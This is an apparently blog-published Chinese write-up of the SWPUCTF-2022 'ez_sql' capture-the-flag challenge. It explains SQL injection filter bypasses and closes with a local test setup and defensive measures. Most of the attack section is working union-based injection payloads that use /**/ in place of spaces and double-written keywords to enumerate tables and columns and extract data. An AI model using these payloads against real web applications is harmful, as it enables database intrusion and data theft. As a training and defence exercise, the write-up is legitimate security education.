CTF SQL注入实战:SWPUCTF-2022 ez_sql 双写绕过与注释符应用解析

📅 2026/7/11 10:43:08 👁️ 阅读次数 📝 编程学习
CTF SQL注入实战:SWPUCTF-2022 ez_sql 双写绕过与注释符应用解析

CTF SQL注入实战:SWPUCTF-2022 ez_sql 双写绕过与注释符应用解析

在网络安全竞赛中,SQL注入始终是最基础也最考验技巧的题型之一。今天我们将通过SWPUCTF-2022新生赛的ez_sql题目,深入剖析字符型注入中双写绕过与注释符替代空格的实战技巧,这些方法在面对严格过滤机制时往往能出奇制胜。

1. 题目环境与初步探测

首先我们面对的是一个典型的登录框界面,通过POST方式传递参数。初始尝试提交空参数时,系统返回"球球你输入点东西吧"的提示,这暗示着参数校验机制的存在。

关键发现:

  • 参数名为nss

  • 提交任意值后返回"假的flag",说明存在真假flag机制

  • 初步判断为字符型注入,测试单引号触发报错:

    nss=1' -- 引发语法错误

通过报错信息确认存在SQL注入漏洞后,我们注意到系统对以下关键词进行了过滤:

  • 空格字符
  • 'or'字符串
  • 'union'字符串
  • 'information_schema'字符串

2. 绕过过滤的核心技巧

2.1 注释符替代空格

当空格被过滤时,MySQL支持多种替代方案:

/**/ -- 最稳定的替代方式 %09 -- TAB键的URL编码 %0a -- 换行符 %0b -- 垂直制表符 %0c -- 换页符 %0d -- 回车符

在本题中,我们选择使用/**/作为空格的替代方案,构造如下payload测试列数:

nss=-1'/**/oorrder/**/by/**/4#

提示:使用负值(-1)可以确保原始查询不返回数据,使union注入的结果能够完整显示

2.2 双写绕过关键词过滤

当关键操作符被过滤时,双写绕过是经典解决方案:

原始关键词双写变形原理
unionununionionWAF可能只检测完整单词
oroorr匹配中间插入字符
information_schemainfoorrmation_schema破坏关键词连续性

实战payload示例:

nss=-1'/**/ununionion/**/select/**/1,group_concat(table_name),3/**/from/**/infoorrmation_schema.tables/**/where/**/table_schema=database()/**/limit/**/1,1%23

3. 完整攻击链构建

3.1 数据库结构探测

通过逐步注入,我们获取到以下信息:

  1. 数据库名称:NSS_db
  2. 数据表列表
    | 表名 | 用途推测 | |---------|----------| | NSS_tb | 目标表 | | users | 干扰表 |
  3. 目标表字段
    nss=-1'/**/ununionion/**/select/**/1,group_concat(column_name),3/**/from/**/infoorrmation_schema.columns/**/where/**/table_name='NSS_tb'/**/limit/**/1,1%23
    返回字段:id, Secr3t, flll444g

3.2 数据提取技巧

针对多字段表,推荐使用group_concat组合查询:

nss=-1'/**/ununionion/**/select/**/1,group_concat(Secr3t),group_concat(flll444g)/**/from/**/NSS_db.NSS_tb/**/limit/**/1,1%23

结果处理建议:

  • 当返回数据过长被截断时,使用substring分段提取
  • 对特殊字符编码使用hex()函数转换
  • 多表关联时注意使用表名前缀避免歧义

4. 本地测试环境搭建

为更好理解题目,建议搭建本地测试环境:

# Docker快速部署MySQL环境 docker run -p 3306:3306 --name ctf-sql -e MYSQL_ROOT_PASSWORD=ctf123 -d mysql:5.7 # 创建题目数据库 CREATE DATABASE NSS_db; USE NSS_db; # 创建数据表结构 CREATE TABLE NSS_tb( id INT PRIMARY KEY, Secr3t VARCHAR(100), flll444g VARCHAR(100) ); CREATE TABLE users(id INT, username VARCHAR(50)); # 插入测试数据 INSERT INTO NSS_tb VALUES(1, 'dummy', 'NSSCTF{e9e4d32b-8d81-4718-b0c7-54c3c29110f1}');

5. 防御方案与思考

通过本题我们可以总结出防护SQL注入的进阶方案:

  1. 预处理语句

    $stmt = $conn->prepare("SELECT * FROM users WHERE id=?"); $stmt->bind_param("i", $input);
  2. 多层过滤机制

    • 正则表达式过滤:preg_replace('/(union|select|or)/i', '', $input)
    • 字符黑名单:禁止/*,--,#等注释符号
    • 长度限制:防止过长的注入payload
  3. 最小权限原则

    CREATE USER 'webuser'@'localhost' IDENTIFIED BY 'strongpass'; GRANT SELECT ON NSS_db.NSS_tb TO 'webuser'@'localhost';

在实际CTF比赛中,遇到过滤机制时建议:

  1. 先测试所有空白字符变体
  2. 尝试大小写混合、双写、注释分割等绕过方式
  3. 考虑使用like,regexp等替代=
  4. 必要时使用十六进制编码绕过关键词检测

这道题目生动展示了即使在严格过滤条件下,通过灵活组合基础技巧仍能完成注入攻击。理解这些原理不仅能提升CTF解题能力,更能帮助开发人员构建更安全的Web应用。